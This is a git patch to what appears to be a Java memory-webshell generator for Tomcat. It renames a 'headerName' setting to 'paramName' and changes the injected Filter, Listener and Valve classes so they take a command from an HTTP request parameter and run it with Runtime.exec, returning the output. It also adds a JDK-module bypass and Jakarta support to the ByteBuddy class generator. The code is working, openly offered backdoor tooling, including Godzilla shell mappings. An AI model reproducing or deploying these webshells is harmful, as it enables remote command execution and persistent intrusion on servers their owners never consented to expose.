From f7bf419f31bf282bd8c362dc16f800f0c07bfca7 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 2 Dec 2024 01:08:22 +0800 Subject: [PATCH] fix: command shell use paramName --- .../javaweb/config/CommandShellConfig.java | 2 +- .../reajason/javaweb/config/ShellTool.java | 2 +- .../javaweb/memsell/CommandGenerator.java | 25 +++++++++++++------ .../javaweb/memsell/tomcat/TomcatShell.java | 6 ++--- .../memsell/tomcat/command/CommandFilter.java | 4 +-- .../tomcat/command/CommandListener.java | 4 +-- .../memsell/tomcat/command/CommandValve.java | 4 +-- .../tomcat/command/CommandFilterTest.java | 7 +++--- 8 files changed, 32 insertions(+), 22 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java index ba339819..3da0dd7e 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/CommandShellConfig.java @@ -14,5 +14,5 @@ import lombok.experimental.SuperBuilder; @ToString public class CommandShellConfig extends ShellConfig { @Builder.Default - private String headerName = "cmd"; + private String paramName = "cmd"; } diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java index fa953f37..4509b8d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java @@ -13,5 +13,5 @@ public enum ShellTool { /** * 命令回显 */ - CMD + COMMAND } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 88b4ff89..a885b960 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -1,11 +1,14 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; +import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.SuperMethodCall; +import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.matcher.ElementMatchers; /** @@ -14,17 +17,23 @@ import net.bytebuddy.matcher.ElementMatchers; */ public class CommandGenerator { - public static byte[] generate(Class commandClass, String commandClassName, String headerName) { + public static byte[] generate(Class commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) { Implementation.Composable fieldSets = SuperMethodCall.INSTANCE - .andThen(FieldAccessor.ofField("headerName").setsValue(headerName)); - try (DynamicType.Unloaded make = new ByteBuddy() + .andThen(FieldAccessor.ofField("paramName").setsValue(paramName)); + DynamicType.Builder builder = new ByteBuddy() .redefine(commandClass) .name(commandClassName) - .visit(TargetJDKVersionVisitorWrapper.DEFAULT) - .constructor(ElementMatchers.any()) - .intercept(fieldSets) - .make()) { + .visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion)) + .constructor(ElementMatchers.any()).intercept(fieldSets); + if (targetJdkVersion >= Opcodes.V9) { + builder = ByPassJdkModuleInterceptor.extend(builder); + } + if (useJakarta) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } } -} +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 8a62f3ee..13f2c35c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -49,7 +49,6 @@ public class TomcatShell { GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - // tomcat 无法同时引入两个版本的包 GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); } @@ -64,6 +63,7 @@ public class TomcatShell { COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)); COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); + COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)); } @SneakyThrows @@ -89,12 +89,12 @@ public class TomcatShell { ); break; } - case CMD: { + case COMMAND: { classPair = COMMAND_SHELL_MAP.get(shellType); CommandShellConfig commandConfig = (CommandShellConfig) shellConfig; shellBytes = CommandGenerator.generate(classPair.getLeft(), commandConfig.getShellClassName(), - commandConfig.getHeaderName()); + commandConfig.getParamName(), useJakarta, targetJdkVersion); break; } default: diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java index 0bf341b6..3c62f9f1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java @@ -11,7 +11,7 @@ import java.io.InputStream; * @since 2024/11/24 */ public class CommandFilter implements Filter { - public String headerName; + public String paramName; @Override public void init(FilterConfig filterConfig) throws ServletException { @@ -22,7 +22,7 @@ public class CommandFilter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getHeader(headerName); + String cmd = servletRequest.getParameter(paramName); try { if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java index ee464602..bc0c5cf4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String headerName; + public String paramName; public CommandListener() { } @@ -26,7 +26,7 @@ public class CommandListener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - String cmd = request.getHeader(headerName); + String cmd = request.getParameter(paramName); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); Process exec = Runtime.getRuntime().exec(cmd); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java index 2766eaea..b3ce30b0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java @@ -15,7 +15,7 @@ import java.io.InputStream; public class CommandValve implements Valve { protected Valve next; protected boolean asyncSupported; - public String headerName; + public String paramName; public CommandValve() { } @@ -42,7 +42,7 @@ public class CommandValve implements Valve { @Override public void invoke(Request request, Response response) throws IOException, ServletException { try { - String cmd = request.getHeader(headerName); + String cmd = request.getParameter(paramName); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java index b6a7d275..3503bac2 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell.tomcat.command; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.memsell.CommandGenerator; import com.reajason.javaweb.util.ClassUtils; import org.apache.commons.codec.binary.Base64; @@ -16,11 +17,11 @@ class CommandFilterTest { @Test void testGenerate() { String className = "org.command.CommandFilter"; - String headerName = "cmd"; - byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName); + String paramName = "cmd"; + byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); - assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName")); System.out.println(Base64.encodeBase64String(bytes)); } } \ No newline at end of file